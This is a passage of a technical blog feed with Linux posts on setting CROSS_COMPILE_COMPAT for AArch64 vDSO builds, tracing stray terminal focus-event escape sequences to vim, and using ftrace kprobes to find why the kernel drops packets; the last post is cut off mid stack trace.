</span></span><span class="line"><span class="cl"><span class="gi">+def get_arm32_prefix(d):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    arm_prefix = &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if d.getVar(&#39;TARGET_ARCH&#39;).startswith(&#39;aarch64&#39;):
</span></span></span><span class="line"><span class="cl"><span class="gi">+        pfxs = all_multilib_tune_values(d, &#39;TARGET_PREFIX&#39;).split()
</span></span></span><span class="line"><span class="cl"><span class="gi">+        for p in pfxs:
</span></span></span><span class="line"><span class="cl"><span class="gi">+           if p.startswith(&#34;arm-&#34;):
</span></span></span><span class="line"><span class="cl"><span class="gi">+               arm_prefix = p
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    return arm_prefix
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+def arm32_full_prefix(d):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    pfx = get_arm32_prefix(d)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if pfx == &#39;&#39;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    ps = all_multilib_tune_values(d, &#39;STAGING_BINDIR_TOOLCHAIN&#39;).split()
</span></span></span><span class="line"><span class="cl"><span class="gi">+    for p in ps:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        if p.endswith(pfx[:-1]):
</span></span></span><span class="line"><span class="cl"><span class="gi">+            return p + &#39;/&#39; + pfx
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+    return &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+def arm32_gcc_dep(d):
</span></span></span><span class="line"><span class="cl"><span class="gi">+    pfx = get_arm32_prefix(d)
</span></span></span><span class="line"><span class="cl"><span class="gi">+    if pfx != &#39;&#39;:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return &#39;virtual/&#39; + pfx + &#39;gcc&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+    else:
</span></span></span><span class="line"><span class="cl"><span class="gi">+        return &#39;&#39;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi">+DEPENDS += &#34;${@arm32_gcc_dep(d)}&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+export CROSS_COMPILE_COMPAT=&#34;${@arm32_full_prefix(d)}&#34;
</span></span></span><span class="line"><span class="cl"><span class="gi">+
</span></span></span><span class="line"><span class="cl"><span class="gi"></span> export OS = &#34;${TARGET_OS}&#34;
</span></span><span class="line"><span class="cl"> export CROSS_COMPILE = &#34;${TARGET_PREFIX}&#34;
</span></span></code></pre></div><p>My patch<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup> is currently under review, and I&rsquo;m hopeful that it will be merged soon.</p>
<h2 id="checking-for-the-availability-of-a-vdso">Checking for the Availability of a vDSO</h2>
<p>If you&rsquo;re not sure whether a program can benefit from a vDSO, Linux offers multiple ways to check.
Linux exposes the address of the vDSO via the auxiliary vector <code>AT_SYSINFO_EHDR</code>;
this way, even statically linked programs can find and load the vDSO.
Using the glibc helper function <code>getauxval(3)</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>, a program can check itself whether a vDSO is available.
The following snippet shows how:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;sys/auxv.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nf">getauxval</span><span class="p">(</span><span class="n">AT_SYSINFO_EHDR</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;vDSO available!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span>
</span></span><span class="line"><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;No vDSO available!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>If the program is dynamically linked, the environment variable <code>LD_SHOW_AUXV</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> can be used to dump the auxiliary vector before the program is executed.
If <code>AT_SYSINFO_EHDR</code> shows up, a vDSO is available.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">root@target:~# <span class="nv">LD_SHOW_AUXV</span><span class="o">=</span><span class="m">1</span> /bin/program
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">AT_SYSINFO_EHDR:      0xf7f6a000
</span></span><span class="line"><span class="cl"><span class="o">[</span>...<span class="o">]</span>
</span></span><span class="line"><span class="cl">root@target:~#
</span></span></code></pre></div><h2 id="summary">Summary</h2>
<p>When building an AArch64 kernel intended to run legacy applications, ensure that <code>CROSS_COMPILE_COMPAT</code> is directed to a 32-bit toolchain.
Failure to do so might lead to performance issues.
Additionally, confirm that the build system you are using supports the configuration of <code>CROSS_COMPILE_COMPAT</code>.
As of today, neither Yocto (actually OpenEmbedded), Buildroot, nor PTXdist sets <code>CROSS_COMPILE_COMPAT</code>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://man7.org/linux/man-pages/man7/vdso.7.html">vdso(7) Linux manual page</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://man7.org/linux/man-pages/man2/gettimeofday.2.html">gettimeofday(2) Linux manual page</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://lists.openembedded.org/g/openembedded-core/message/195064">OpenEmbedded CROSS_COMPILE_COMPAT Patch</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://man7.org/linux/man-pages/man3/getauxval.3.html">getauxval(3) Linux manual page</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man8/ld.so.8.html">ld.so(8) Linux manual page</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Investigating Paranormal Shell Activities</title><link>https://sigma-star.at/blog/2023/11/paranormal-shell-activities/</link><pubDate>Fri, 17 Nov 2023 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/11/paranormal-shell-activities/</guid><description><![CDATA[<h1 id="investigating-paranormal-shell-activities">Investigating Paranormal Shell Activities</h1>
<p>Recently, while attending a conference, I observed an unusual occurrence in my terminal emulator:
terminal tab windows were getting highlighted without any apparent notification within the shell session.
Time to unpack our trusty debugging tools to uncover the mystery behind these activities.</p>
<p>Once a tab encountered this issue, it persisted in being highlighted until I closed the affected tab and opened a new one.
Another peculiar symptom manifested when certain terminal applications, running within the affected (or possibly infected?) terminal, displayed strange sequences of characters like <code>^I^O^I^O</code>.
Given that the conference I was attending focused on security, my heightened awareness prompted me to investigate the root cause of this issue.
Upon returning to my hotel room, I delved further into the matter, particularly after noticing that additional tabs were affected by the highlighting problem.</p>]]></description><content:encoded><![CDATA[<h1 id="investigating-paranormal-shell-activities">Investigating Paranormal Shell Activities</h1>
<p>Recently, while attending a conference, I observed an unusual occurrence in my terminal emulator:
terminal tab windows were getting highlighted without any apparent notification within the shell session.
Time to unpack our trusty debugging tools to uncover the mystery behind these activities.</p>
<p>Once a tab encountered this issue, it persisted in being highlighted until I closed the affected tab and opened a new one.
Another peculiar symptom manifested when certain terminal applications, running within the affected (or possibly infected?) terminal, displayed strange sequences of characters like <code>^I^O^I^O</code>.
Given that the conference I was attending focused on security, my heightened awareness prompted me to investigate the root cause of this issue.
Upon returning to my hotel room, I delved further into the matter, particularly after noticing that additional tabs were affected by the highlighting problem.</p>
<h2 id="hunting-for-ghosts">Hunting for Ghosts</h2>
<p>The initial step involved inspecting a tab affected by the issue.
Despite examining tab-specific settings in the terminal emulator, no alarming findings emerged.
Consequently, I turned my attention to the shell itself and employed the strace system call tracer<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>.
The objective was to investigate whether the highlighting originated from keyboard events or similar triggers, entertaining the possibility that my laptop keyboard might be malfunctioning.</p>
<p>Tracing <code>read()</code> and <code>write()</code> syscalls promptly revealed that my shell was indeed receiving input without any corresponding keystrokes from my end.
Specifically, the shell was consistently receiving three characters: <code>\033</code> (hex <code>0x1b</code>), <code>[</code>, followed by either <code>I</code> or <code>O</code>.
Subsequently, the shell emitted another character, consistently <code>\7</code>.</p>
<pre tabindex="0"><code>read(0, &#34;\33&#34;, 1)                       = 1
read(0, &#34;[&#34;, 1)                         = 1
read(0, &#34;I&#34;, 1)                         = 1
write(2, &#34;\7&#34;, 1)                       = 1
</code></pre><p>As I examined the strace output further, a realization struck me - <code>0x07</code> corresponds to the ASCII bell character (<code>BEL</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>).
This discovery literally rang a bell inside my head.
It explained why the terminal emulator highlighted the tab, aligning perfectly with the expected behavior when the shell writes <code>BEL</code> to the output stream.</p>
<p>However, <code>0x1b</code>, <code>[</code> and <code>I</code> or <code>O</code> still puzzled me.
I was already aware that octal <code>033</code> represents the escape character<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>. These days, such sequences are commonly used in the shell <code>PS1</code> variable for creating visually appealing terminals. Although, in my case, it wasn&rsquo;t related to color formatting.
My attempts to search for the three-byte sequence online proved challenging due to its non-google-friendly nature, with multiple possible representations.
Subsequent searches involving only the escape character and &ldquo;KDE Konsole&rdquo; my terminal emulator, led me to the Konsole source code on GitHub.
Trusting my instincts, I delved into the Konsole source code, specifically searching for <code>[I</code> and <code>[O</code>.
This search led me to a C++ method called <code>Vt102Emulation::focusChanged</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C++" data-lang="C++"><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">Vt102Emulation</span><span class="o">::</span><span class="n">focusChanged</span><span class="p">(</span><span class="kt">bool</span> <span class="n">focused</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_reportFocusEvents</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">sendString</span><span class="p">(</span><span class="n">focused</span> <span class="o">?</span> <span class="s">&#34;</span><span class="se">\033</span><span class="s">[I&#34;</span> <span class="o">:</span> <span class="s">&#34;</span><span class="se">\033</span><span class="s">[O&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>It became clear that on every tab focus change, Konsole&rsquo;s code was triggering the peculiar sequence.
Specifically, on each tab focus change, Konsole sends either <code>\033[I</code> or <code>\033[O</code> to the shell.
So far, so good. However, the mystery remained as to why I only observed this behavior on certain tabs.</p>
<p>Further exploration of Konsole&rsquo;s source code revealed that sending the three-byte sequence is governed by the variable <code>_reportFocusEvents</code>, and this variable, in turn, is influenced by control sequence <code>\033[?1004h</code> resp. <code>\033[?1004l</code>.
Indeed, executing the command <code>echo -ne &quot;\033[?1004l</code> in an affected terminal instantaneously cured the issue.
Reading these sequences is sometimes not obvious, a control sequence typically consists of an ASCII <code>ESC</code> character, a CSI (Control Sequence Introducer, <code>[</code> in our case), and parameters.
These days they are mostly used for colorful<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> output in the shell.
Enabling focus events is defined by XTerm<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> as <code>CSI ? 1004 h</code> and disabling as <code>CSI ? 1004 h</code>, KDE Konsole follows this definition.</p>
<p>The question still lingers: why aren&rsquo;t all tabs affected, and why didn&rsquo;t I notice the problem earlier?
It dawned on me that there might be a program enabling focus reporting on the affected tabs.
Upon further reflection, I realized that the issue occurred exclusively on tabs I used to ssh into a particular server.
Considering my unreliable internet connection leading to frequent ssh timeouts and remote shell terminations, it occurred to me: What if some program on the remote server is enabling focus reporting and leaving it enabled?</p>
<p>An examination of my bash history revealed that I primarily used <code>git</code>, <code>vim</code>, <code>qemu</code>, and other fundamental shell tools - nothing out of the ordinary.
To delve deeper, I conducted additional research to determine if any of these tools, <code>git</code>, <code>vim</code>, or <code>qemu</code> made use of focus reporting.
As it turned out, the newer version of <code>vim</code>, version <code>9</code>, indeed includes support for focus events<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.
It suddenly struck me that I had recently upgraded to this latest version on the remote server.</p>
<p>To verify the hypothesis, I have created the following bpftrace<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup> script:</p>
<pre tabindex="0"><code class="language-.bt" data-lang=".bt">tracepoint:syscalls:sys_enter_write
/uid == 1000 &amp;&amp; args-&gt;fd == 1 &amp;&amp; args-&gt;count &lt; 64/
{
        if (strcontains(str(args-&gt;buf, args-&gt;count), &#34;\033[?1004h&#34;)) {
                printf(&#34;process %s (%d) enabled focus events\n&#34;, comm, pid);
        } else if (strcontains(str(args-&gt;buf, args-&gt;count), &#34;\033[?1004l&#34;)) {
                printf(&#34;process %s (%d) disabled focus events\n&#34;, comm, pid);
        }
}
</code></pre><p>It checks whether a program run by me (<code>uid 1000</code>) writes the focus events enable or disable control sequence to <code>stdout</code>.</p>
<p>Indeed, <code>vim</code> enables these events upon start and disables them later upon regular exit.</p>
<pre tabindex="0"><code>$ bpftrace csi_write.bt
Attaching 1 probe...
process vi (18811) enabled focus events
process vi (18811) disabled focus events
</code></pre><p>From now on the following two lines are part of my <code>.vimrc</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-vimrc" data-lang="vimrc"><span class="line"><span class="cl"><span class="k">set</span> <span class="nx">t_fd</span><span class="p">=</span>
</span></span><span class="line"><span class="cl"><span class="k">set</span> <span class="nx">t_fe</span><span class="p">=</span>
</span></span></code></pre></div><p>They make sure to have <code>vim</code>&rsquo;s focus reporting feature disabled: I don&rsquo;t need it.</p>
<h2 id="summary">Summary</h2>
<p>Whenever a <code>vim</code> session was interrupted due to a connection timeout on this particular server, it left focus reporting enabled on my laptop&rsquo;s shell.
This, in turn, caused the shell to emit bell events, and explained why I occasionally observed <code>^I^O</code> when running programs that didn&rsquo;t consume any input.
The recurrent issues with my internet connection played a crucial role in triggering this situation frequently.
The interruptions in the connection led to instances where <code>vim</code> on the remote server was abruptly terminated, failing to disable focus reporting in the process.</p>
<p>Indeed, there were no ghosts in my shell - just a case of me getting a bit rusty with remembering shell control sequences, coupled with a problematic internet connection and an upgraded <code>vim</code>.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://strace.io/">strace</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://en.wikipedia.org/wiki/Bell_character">Bell character</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://man7.org/linux/man-pages/man4/console_codes.4.html">console_codes(4) - Linux manual page</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://github.com/KDE/konsole/blob/bac3e771eeb1f43e6b6398efcbecc4a65f8fde8a/src/Vt102Emulation.cpp#L2314">KDE Konsole source</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html">Bash Prompt HOWTO: Colours</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://invisible-island.net/xterm/ctlseqs/ctlseqs.html">XTerm Control Sequences</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://vimhelp.org/term.txt.html#xterm-focus-event">VIM xterm-focus-event</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://bpftrace.org/">bpftrace website</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way</title><link>https://sigma-star.at/blog/2023/11/ftrace-skb-drop/</link><pubDate>Thu, 02 Nov 2023 00:00:00 +0100</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2023/11/ftrace-skb-drop/</guid><description><![CDATA[<h1 id="analyzing-packet-drops-without-tooling-or-ftrace-the-pure-way">Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way</h1>
<p>Linux offers a rich set of debugging tools that allow the kernel to be instrumented, enabling a better understanding of its internals.
Today, we&rsquo;d like to show you a way to understand packet drops without the need for any additional tools to be installed.
Suppose you need to understand why your machine is discarding packets, the first tools you might think about are tools like <code>perf</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> and <code>dropwatch</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
However, what if none of these tools are installed, and you cannot install anything extra?
What if all we have is a shell?
In that case, it&rsquo;s time to <em>lol</em>, living off the land.</p>]]></description><content:encoded><![CDATA[<h1 id="analyzing-packet-drops-without-tooling-or-ftrace-the-pure-way">Analyzing Packet Drops Without Tooling: Or ftrace the Pure Way</h1>
<p>Linux offers a rich set of debugging tools that allow the kernel to be instrumented, enabling a better understanding of its internals.
Today, we&rsquo;d like to show you a way to understand packet drops without the need for any additional tools to be installed.
Suppose you need to understand why your machine is discarding packets, the first tools you might think about are tools like <code>perf</code><sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> and <code>dropwatch</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>.
However, what if none of these tools are installed, and you cannot install anything extra?
What if all we have is a shell?
In that case, it&rsquo;s time to <em>lol</em>, living off the land.</p>
<h2 id="introduction">Introduction</h2>
<p>Let&rsquo;s consider a scenario where we need to understand where and at which point in the Linux network stack packets are being dropped.
This is a task that senior system administrators sometimes have to tackle, and it&rsquo;s also essential for pentesters when assessing the effectiveness of crafted packets.</p>
<p>Before we delve into the details, let&rsquo;s clarify a few key aspects of packets within Linux&rsquo;s network stack.
In the kernel, a packet is referred to as a &ldquo;socket buffer&rdquo;<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>, commonly abbreviated as <em>skbuff</em> or just <em>skb</em>.
A skb is a versatile data structure capable of holding various types of network packets.
skbuffs are passed through the network stack both upwards and downwards.
Different components in the stack can choose to pass the skb along, modify it, consume it, or release it.</p>
<p>Technically, both consuming and releasing it mean returning the buffer&rsquo;s memory to the allocator and destroying the socket buffer data structure.
Linux distinguishes between successful deliveries and error conditions where the network stack gives up on a particular packet.
In this context, we&rsquo;re concerned with the latter scenario.</p>
<h2 id="the-linux-function-tracer-ftrace">The Linux Function Tracer: ftrace</h2>
<p>A debugging gem hidden deep within the Linux kernel is the function tracer<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>, often referred to as &ldquo;ftrace.&rdquo;
Normally, it acts as the backbone for high-level tools like <code>trace-cmd</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> or <code>perf</code>.
However, even when you have virtually nothing installed, you can still leverage the function tracer through a filesystem-based interface.</p>
<p>This interface is provided by <code>tracefs</code>, which is typically mounted at <code>/sys/kernel/debug/tracing</code>.
This assumes that the function trace feature is enabled in the kernel configuration, which is usually the case.
One notable feature of ftrace is that it imposes zero runtime overhead when disabled.</p>
<p>While ftrace certainly merits its own extensive blog series due to its wealth of functionality, for now, let&rsquo;s keep it minimal and focused.
For the purposes of this blog post, all file paths are considered relative to <code>/sys/kernel/debug/tracing/</code>.
ftrace records all events into a trace buffer, and you can access this buffer by reading from the file named <code>trace_pipe</code>.
A straightforward <code>cat trace_pipe</code> command will provide a continuous stream of events if any are present.
However, it&rsquo;s important to note that if there are no events, the <code>cat</code> command will block and wait for events to appear.</p>
<h2 id="lets-hunt-for-dropped-packets">Let&rsquo;s Hunt for Dropped Packets</h2>
<p>Based on our exploration of the kernel source code, we&rsquo;ve already identified a function called <code>kfree_skb()</code>, which is responsible for destroying a socket buffer (skbuff).
Our expectation is that this function is primarily used for non-consuming destruction, which means it&rsquo;s applied every time the network stack gives up on a packet, resulting in the packet being discarded.</p>
<p>Now, let&rsquo;s search for the function using ftrace:</p>
<pre><code>$ grep -e kfree_skb available_filter_functions 
kfree_skbmem
kfree_skb_reason
kfree_skb_list_reason
__kfree_skb
kfree_skb_partial
__kfree_skb_defer
__dev_kfree_skb_irq
__dev_kfree_skb_any
rtnl_kfree_skbs
__traceiter_kfree_skb
trace_kfree_skb_hit
net_dm_packet_trace_kfree_skb_hit
</code></pre>
<p>Nice! There is a <code>__kfree_skb</code>, sounds good.
Let&rsquo;s tell ftrace to trace every invocation of this function and arm the function tracer.</p>
<pre><code>$ echo __kfree_skb &gt; set_ftrace_filter
$ echo function &gt; current_tracer
$ echo &gt; trace # just in case, clear old contents in the buffer
$ cat trace_pipe
      napi/-8411-1777    [006] b..2. 713195.705113: __kfree_skb &lt;-tcp_ack
      napi/-8411-1777    [006] b..2. 713195.705120: __kfree_skb &lt;-tcp_rcv_established
[.. over and over ...]
      napi/-8411-1777    [006] b..2. 713229.810263: __kfree_skb &lt;-tcp_ack
      napi/-8411-1777    [006] b..2. 713229.810271: __kfree_skb &lt;-tcp_rcv_established
</code></pre>
<p>Dang! That&rsquo;s a lot of output.
Looks like <code>__kfree_skb()</code> is always called for both consuming and non-consuming releases of an skb.
Let&rsquo;s disable ftrace again.</p>
<pre><code>$ echo nop &gt; current_tracer
$ echo &gt; set_ftrace_filter
$ echo &gt; trace
</code></pre>
<p>Continuing our exploration of the network code, we&rsquo;ve discovered the function <code>kfree_skb_reason()</code>.
This function utilizes <code>__kfree_skb()</code> but takes a crucial function parameter: the &ldquo;reason&rdquo;.
This appears to be precisely what we&rsquo;re looking for.
The reason is of type <code>enum skb_drop_reason</code> as defined in <code>include/net/dropreason-core.h</code>.
These reasons encompass values such as <code>SKB_CONSUMED</code>, <code>SKB_DROP_REASON_NO_SOCKET</code>, and <code>SKB_DROP_REASON_NETFILTER_DROP</code>.</p>
<p>Our goal is to trace every invocation of <code>kfree_skb_reason()</code> when the reason is not equal to <code>SKB_CONSUMED</code>.
This will help us monitor situations where the network stack abandons a packet for reasons other than consumption.</p>
<p>In our quest to trace and analyze events deeper in the kernel, we encounter a limitation with ftrace&rsquo;s basic function tracing.
It permits us to filter events based on the function name but doesn&rsquo;t provide access to function arguments.
Moreover, we only observe function calls without their associated arguments, making a simple <code>grep -v</code> on the <code>trace_pipe</code> file insufficient.</p>
<p>To overcome this limitation, we can delve deeper into ftrace&rsquo;s capabilities, particularly by leveraging custom probes known as &ldquo;kprobes&rdquo;<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.
A kprobe essentially serves as a probe point within the kernel and can be set at various locations, including function entry, function return, or anywhere within a function.
By probing at the function entry, we gain access to the function&rsquo;s arguments, allowing for more detailed analysis and tracing.</p>
<p>Manually installing a new kprobe is a bit cumbersome.
In our case, we want to probe the function <code>kfree_skb_reason()</code>.
To set up the kprobe, we need to inform ftrace how to access the function&rsquo;s arguments, which can be machine-specific.
In this example, we&rsquo;ll use an x86_64 laptop.
On this architecture, the Linux kernel adheres to the System V AMD64 ABI, where the first function argument is stored in the <code>DI</code> register,
and the second one is stored in the <code>SI</code> register.</p>
<p>Setting up a kprobe requires specifying a name and a format string.
We can use the register names in the format string to access the function&rsquo;s arguments for analysis.</p>
<pre><code>$ echo 'p:my_skb_probe kfree_skb_reason skb=%di:u64 reason=%si:u64' &gt; kprobe_events
</code></pre>
<p>After this command a new directory named <code>my_skb_probe</code> will show up in <code>events/kprobes/</code>.
Let&rsquo;s arm it and read from the trace buffer.</p>
<pre><code>$ echo 1 &gt; events/kprobes/my_skb_probe/enable
$ echo &gt; trace
$ cat trace_pipe
     ksoftirqd/1-23      [001] ..s.. 714457.274916: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795712 reason=2
	  &lt;idle&gt;-0       [001] ..s1. 714457.290757: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415795200 reason=2
	  &lt;idle&gt;-0       [001] ..s1. 714457.306989: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617083415797504 reason=2
	  &lt;idle&gt;-0       [001] ..s1. 714457.323109: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304559104 reason=2
	  &lt;idle&gt;-0       [001] .Ns1. 714457.342760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564736 reason=2
	  &lt;idle&gt;-0       [001] .Ns1. 714457.358760: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304561664 reason=2
	  &lt;idle&gt;-0       [010] ..s1. 714457.366230: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=0 reason=2
  kworker/u32:33-28725   [004] ..... 714457.366293: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617057572911104 reason=2
	  &lt;idle&gt;-0       [001] .Ns1. 714457.374797: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617064304564992 reason=2
</code></pre>
<p>While we&rsquo;ve made progress, there are still many events. However, we can now clearly see the reasons, with reason number <code>2</code> representing <code>SKB_DROP_REASON_NOT_SPECIFIED</code>.</p>
<p>To filter the events more effectively using ftrace, we can instruct it to only emit events when the reason is larger than <code>2</code>. We use &ldquo;larger&rdquo; because values <code>0</code> and <code>1</code> correspond to <code>SKB_NOT_DROPPED_YET</code> and <code>SKB_CONSUMED</code>.
This approach will allow us to focus on events where the network stack discards packets for reasons other than these two.</p>
<pre><code>$ echo &quot;reason &gt; 2&quot; &gt; events/kprobes/my_skb_probe/filter
$ echo &gt; trace
$ cat trace_pipe
napi/-8412-1778    [014] b.... 714699.253491: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617078699127552 reason=3
</code></pre>
<p>Excellent, by filtering for events with a reason larger than <code>2</code>, we&rsquo;ve successfully narrowed down the events to a more manageable and meaningful set.
Now we&rsquo;re able to focus on events that truly matter.
Reason number <code>3</code> corresponds to <code>SKB_DROP_REASON_NO_SOCKET</code>, which, in your case, is associated with your test program attempting to connect to a closed port using telnet.</p>
<p>While it&rsquo;s beneficial to see when Linux drops a packet, the events themselves provide limited information, primarily just the reason number.
To gain deeper insights into the process and understand the path the skbuff took through the network stack, the next step is to print a stack trace.
This will enable us to visualize the call chain and, hopefully, learn more about the skbuff&rsquo;s journey within the network stack.</p>
<p>Every event in ftrace can be equipped with triggers, and one trigger type involves printing a stack trace.</p>
<pre><code>$ echo 'stacktrace if reason &gt; 2' &gt; events/kprobes/my_skb_probe/trigger 
$ echo &gt; trace
$ cat trace_pipe
      napi/-8412-1778    [014] b.... 715083.709832: my_skb_probe: (kfree_skb_reason+0x0/0x110) skb=18446617059302153472 reason=3
      napi/-8412-1778    [014] b..1. 715083.709868: &lt;stack trace&gt;
 =&gt; kprobe_trace_func
 =&gt; kprobe_dispatcher
 =&gt; kprobe_ftrace_handler
 =&gt; create_port
 =&gt; kfree_skb_reason
 =&gt; tcp_v4_rcv
 =&gt; ip_protocol_deliver_rcu
 =&gt; ip_local_deliver_finish
 =&gt; __netif_receive_skb_core.constprop.0
 =&gt; __netif_receive_skb_list_core
 =&gt; netif_receive_skb_list_internal
 =&gt; napi_complete_done
